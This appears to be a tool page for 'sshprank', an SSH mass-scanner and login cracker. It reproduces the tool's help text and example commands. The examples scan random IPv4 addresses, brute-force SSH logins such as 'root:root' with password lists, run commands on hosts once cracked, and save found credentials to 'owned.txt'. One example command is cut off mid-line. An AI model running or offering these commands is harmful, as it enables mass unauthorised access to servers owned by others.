Sshprank - A Fast SSH Mass-Scanner, Login Cracker And Banner Grabber Tool Using The Python-Masscan Module

A fast SSH mass-scanner, login cracker and banner grabber tool using the python-masscan module.

[ [email protected] ~ ]$ sshprank -H
--==[ sshprank by nullsecurity.net ]==--


sshprank <mode> [opts] | <misc>


-h <host:[ports]> - single host to crack. multiple ports can be seperated
by comma, e.g.: 22,2022,22222 (default port: 22)

-l <file> - list of hosts to crack. format: <host>[:ports]. multiple
ports can be seperated by comma (default port: 22)

-m <opts> [-r <num>] - pass arbitrary masscan opts, portscan given hosts and
crack for logins. found sshd services will be saved to
'sshds.txt' in supported format for '-l' option and
even for '-b'. use '-r' for generating random ipv4
addresses rather than scanning given hosts. these
options are always on: '-sS -oX - --open'.
NOTE: if you intent to use the '--banner' option then
you need to specify '--source-ip <some_ipaddr>' which
is needed by masscan.

-b <file> - list of hosts to grab sshd banner from
format: <host>[:ports]. multiple ports can be
seperated by comma (default port: 22)


-r <num> - generate <num> random ipv4 addresses, check for open
sshd port and crack for login (only with -m option!)
-c <cmd> - execute this <cmd> on host if login was cracked
-u <user> - single username (default: root)
-U <file> - list of usernames
-p - single password (default: root)
-P <file> - list of passwords
-C <file> - list of user:pass combination
-x <num> - num threads for parallel host crack (default: 20)
-s <num> - num threads for parallel service crack (default: 10)
-X <num> - num threads for parallel login crack (default: 20)
-B <num> - num threads for parallel banner grabbing (default: 50)
-T <sec> - num sec for connect timeout (default: 2s)
-R <sec> - num sec for (banner) read timeout (default: 2s)
-o <file> - write found logins to file. format:
<host>:<port>:<user>:<pass> (default: owned.txt)
-e - exit after first login was found. continue with other
hosts instead (default: off)
-v - verbose mode. show found logins, sshds, etc.
(default: off)


-H - print help
-V - print version information


# crack targets from a given list with user admin, pw-list and 20 host-threads
$ ./sshprank -l sshds.txt -u admin -P /tmp/passlist.txt -x 20

# first scan then crack from founds ssh services
$ sudo ./sshprank -m '-p22,2022 --rate=5000 --source-ip \

# generate 1k random ipv4 addresses, then port-scan (tcp/22 here) with 1k p/s
# and crack login 'root:root' on found sshds
$ sudo ./sshprank -m '-p22 --rate=1000' - r 1000 -v

# grab banners and output to file with format supported for '-l' option
$ ./sshprank -b hosts.txt > sshds2.txt


  • quick'n'dirty code
  • sshprank is already packaged and available for BlackArch Linux
  • My master-branches are always stable; dev-branches are created for current work.
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